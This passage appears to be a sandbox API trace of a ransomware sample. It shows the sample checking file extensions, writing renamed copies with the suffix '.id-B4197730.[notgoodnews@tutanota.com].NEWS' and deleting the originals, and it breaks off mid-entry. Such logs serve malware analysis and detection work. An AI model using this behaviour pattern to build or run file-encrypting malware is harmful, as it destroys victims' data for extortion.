CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.151] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.151] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.151] lstrlenW (lpString=".doc") returned 4 [0192.151] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0192.151] lstrlenW (lpString=".docx") returned 5 [0192.151] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0192.151] lstrlenW (lpString=".pdf") returned 4 [0192.151] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0192.151] lstrlenW (lpString=".xls") returned 4 [0192.151] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0192.151] lstrlenW (lpString=".xlsx") returned 5 [0192.151] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0192.151] lstrlenW (lpString=".ppt") returned 4 [0192.152] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0192.152] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.152] lstrlenW (lpString=".zip") returned 4 [0192.152] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0192.152] lstrlenW (lpString=".rar") returned 4 [0192.152] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0192.152] lstrlenW (lpString=".bz2") returned 4 [0192.152] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0192.152] lstrlenW (lpString=".7z") returned 3 [0192.152] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0192.152] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.152] lstrlenW (lpString=".dbf") returned 4 [0192.152] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0192.152] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.152] lstrlenW (lpString=".1cd") returned 4 [0192.152] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0192.152] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.152] lstrlenW (lpString=".jpg") returned 4 [0192.152] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0192.152] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.152] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.152] lstrlenW (lpString=".doc") returned 4 [0192.152] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0192.152] lstrlenW (lpString=".docx") returned 5 [0192.152] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0192.152] lstrlenW (lpString=".pdf") returned 4 [0192.152] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0192.152] lstrlenW (lpString=".xls") returned 4 [0192.153] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0192.153] lstrlenW (lpString=".xlsx") returned 5 [0192.153] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0192.153] lstrlenW (lpString=".ppt") returned 4 [0192.153] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0192.153] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.153] lstrlenW (lpString=".zip") returned 4 [0192.153] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0192.153] lstrlenW (lpString=".rar") returned 4 [0192.153] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0192.153] lstrlenW (lpString=".bz2") returned 4 [0192.153] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0192.153] lstrlenW (lpString=".7z") returned 3 [0192.153] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0192.153] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.153] lstrlenW (lpString=".dbf") returned 4 [0192.153] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0192.153] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.153] lstrlenW (lpString=".1cd") returned 4 [0192.153] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0192.153] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0192.153] lstrlenW (lpString=".jpg") returned 4 [0192.153] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0192.153] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.154] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.154] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0192.154] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=76632) returned 1 [0192.154] CloseHandle (hObject=0x2b4) returned 1 [0192.154] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0192.154] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.154] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.154] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0192.154] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0192.154] lstrlenW (lpString=".doc") returned 4 [0192.154] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.154] lstrlenW (lpString=".docx") returned 5 [0192.154] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.155] lstrlenW (lpString=".pdf") returned 4 [0192.155] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.155] lstrlenW (lpString=".xls") returned 4 [0192.155] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.155] lstrlenW (lpString=".xlsx") returned 5 [0192.155] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.155] lstrlenW (lpString=".ppt") returned 4 [0192.155] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.155] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0192.155] lstrlenW (lpString=".zip") returned 4 [0192.155] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.155] lstrlenW (lpString=".rar") returned 4 [0192.155] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.155] lstrlenW (lpString=".bz2") returned 4 [0192.155] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.155] lstrlenW (lpString=".7z") returned 3 [0192.155] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.155] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0192.155] lstrlenW (lpString=".dbf") returned 4 [0192.155] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.155] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0192.155] lstrlenW (lpString=".1cd") returned 4 [0192.155] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.155] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0192.155] lstrlenW (lpString=".jpg") returned 4 [0192.155] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.155] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0192.155] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0192.156] lstrlenW (lpString=".doc") returned 4 [0192.156] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.156] lstrlenW (lpString=".docx") returned 5 [0192.156] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.156] lstrlenW (lpString=".pdf") returned 4 [0192.156] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.156] lstrlenW (lpString=".xls") returned 4 [0192.156] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.156] lstrlenW (lpString=".xlsx") returned 5 [0192.156] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.156] lstrlenW (lpString=".ppt") returned 4 [0192.156] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.156] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0192.156] lstrlenW (lpString=".zip") returned 4 [0192.156] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.156] lstrlenW (lpString=".rar") returned 4 [0192.156] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.156] lstrlenW (lpString=".bz2") returned 4 [0192.156] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.156] lstrlenW (lpString=".7z") returned 3 [0192.156] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.156] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0192.156] lstrlenW (lpString=".dbf") returned 4 [0192.156] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.156] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0193.194] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.194] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\dryer-pocket.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\dryer-pocket.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0193.195] GetLastError () returned 0x0 [0193.196] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x13200, lpOverlapped=0x0) returned 1 [0193.282] WriteFile (in: hFile=0x350, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0x13210, lpOverlapped=0x0) returned 1 [0193.285] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.285] WriteFile (in: hFile=0x350, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0xf4, lpOverlapped=0x0) returned 1 [0193.285] SetEndOfFile (hFile=0x350) returned 1 [0193.285] CloseHandle (hObject=0x350) returned 1 [0193.285] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.285] SetEndOfFile (hFile=0x34c) returned 1 [0193.287] CloseHandle (hObject=0x34c) returned 1 [0193.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\dryer-pocket.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0193.287] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\dryer-pocket.exe" (normalized: "c:\\program files\\common files\\dryer-pocket.exe")) returned 1 [0193.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.289] lstrlenW (lpString=".doc") returned 4 [0193.289] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0193.289] lstrlenW (lpString=".docx") returned 5 [0193.289] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0193.289] lstrlenW (lpString=".pdf") returned 4 [0193.289] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0193.289] lstrlenW (lpString=".xls") returned 4 [0193.289] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0193.289] lstrlenW (lpString=".xlsx") returned 5 [0193.289] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0193.289] lstrlenW (lpString=".ppt") returned 4 [0193.289] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0193.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.289] lstrlenW (lpString=".zip") returned 4 [0193.289] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0193.289] lstrlenW (lpString=".rar") returned 4 [0193.289] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0193.289] lstrlenW (lpString=".bz2") returned 4 [0193.289] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0193.290] lstrlenW (lpString=".7z") returned 3 [0193.290] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0193.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.290] lstrlenW (lpString=".dbf") returned 4 [0193.290] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0193.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.290] lstrlenW (lpString=".1cd") returned 4 [0193.290] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0193.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.290] lstrlenW (lpString=".jpg") returned 4 [0193.290] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0193.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.290] lstrlenW (lpString=".doc") returned 4 [0193.290] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0193.290] lstrlenW (lpString=".docx") returned 5 [0193.290] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0193.290] lstrlenW (lpString=".pdf") returned 4 [0193.290] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0193.290] lstrlenW (lpString=".xls") returned 4 [0193.290] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0193.290] lstrlenW (lpString=".xlsx") returned 5 [0193.290] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0193.290] lstrlenW (lpString=".ppt") returned 4 [0193.290] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0193.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.290] lstrlenW (lpString=".zip") returned 4 [0193.290] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0193.291] lstrlenW (lpString=".rar") returned 4 [0193.291] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0193.291] lstrlenW (lpString=".bz2") returned 4 [0193.291] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0193.291] lstrlenW (lpString=".7z") returned 3 [0193.291] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0193.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.291] lstrlenW (lpString=".dbf") returned 4 [0193.291] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0193.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.291] lstrlenW (lpString=".1cd") returned 4 [0193.291] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0193.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\dryer-pocket.exe") returned 46 [0193.291] lstrlenW (lpString=".jpg") returned 4 [0193.291] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0193.291] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0193.291] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0193.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0193.292] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=656088) returned 1 [0193.292] CloseHandle (hObject=0x34c) returned 1 [0193.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0193.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.292] lstrlenW (lpString=".doc") returned 4 [0193.292] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0193.292] lstrlenW (lpString=".docx") returned 5 [0193.292] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0193.292] lstrlenW (lpString=".pdf") returned 4 [0193.293] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0193.293] lstrlenW (lpString=".xls") returned 4 [0193.293] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0193.293] lstrlenW (lpString=".xlsx") returned 5 [0193.293] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0193.293] lstrlenW (lpString=".ppt") returned 4 [0193.293] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0193.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.293] lstrlenW (lpString=".zip") returned 4 [0193.293] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0193.293] lstrlenW (lpString=".rar") returned 4 [0193.293] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0193.293] lstrlenW (lpString=".bz2") returned 4 [0193.293] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0193.293] lstrlenW (lpString=".7z") returned 3 [0193.293] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0193.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.293] lstrlenW (lpString=".dbf") returned 4 [0193.293] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0193.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.293] lstrlenW (lpString=".1cd") returned 4 [0193.293] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0193.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.293] lstrlenW (lpString=".jpg") returned 4 [0193.293] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0193.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.293] lstrlenW (lpString=".doc") returned 4 [0193.294] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0193.294] lstrlenW (lpString=".docx") returned 5 [0193.294] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0193.294] lstrlenW (lpString=".pdf") returned 4 [0193.294] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0193.294] lstrlenW (lpString=".xls") returned 4 [0193.294] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0193.294] lstrlenW (lpString=".xlsx") returned 5 [0193.294] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0193.294] lstrlenW (lpString=".ppt") returned 4 [0193.294] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0193.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.294] lstrlenW (lpString=".zip") returned 4 [0193.294] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0193.294] lstrlenW (lpString=".rar") returned 4 [0193.294] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0193.294] lstrlenW (lpString=".bz2") returned 4 [0193.294] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0193.294] lstrlenW (lpString=".7z") returned 3 [0193.294] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0193.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.294] lstrlenW (lpString=".dbf") returned 4 [0193.294] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0193.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.294] lstrlenW (lpString=".1cd") returned 4 [0193.294] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0193.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0193.294] lstrlenW (lpString=".jpg") returned 4 [0193.294] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0193.295] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0193.295] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0193.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0193.295] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=307416) returned 1 [0193.295] CloseHandle (hObject=0x34c) returned 1 [0193.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0193.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.296] lstrlenW (lpString=".doc") returned 4 [0193.296] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0193.296] lstrlenW (lpString=".docx") returned 5 [0193.296] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0193.296] lstrlenW (lpString=".pdf") returned 4 [0193.296] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0193.296] lstrlenW (lpString=".xls") returned 4 [0193.296] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0193.296] lstrlenW (lpString=".xlsx") returned 5 [0193.296] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0193.296] lstrlenW (lpString=".ppt") returned 4 [0193.296] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0193.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.296] lstrlenW (lpString=".zip") returned 4 [0193.296] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0193.296] lstrlenW (lpString=".rar") returned 4 [0193.296] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0193.296] lstrlenW (lpString=".bz2") returned 4 [0193.296] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0193.296] lstrlenW (lpString=".7z") returned 3 [0193.296] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0193.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.296] lstrlenW (lpString=".dbf") returned 4 [0193.296] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0193.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.297] lstrlenW (lpString=".1cd") returned 4 [0193.297] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0193.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.297] lstrlenW (lpString=".jpg") returned 4 [0193.297] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0193.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0193.297] lstrlenW (lpString=".doc") returned 4 [0193.297] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0193.297] lstrlenW (lpString=".docx") returned 5 [0193.297] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0193.297] lstrlenW (lpString=".pdf") returned 4 [0193.297] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0193.297] lstrlenW (lpString=".xls") returned 4 [0193.297] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0193.297] lstrlenW (lpString=".xlsx") returned 5 [0193.297] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0193.297] lstrlenW (lpString=".ppt") returned 4 [0193.297] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0193.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 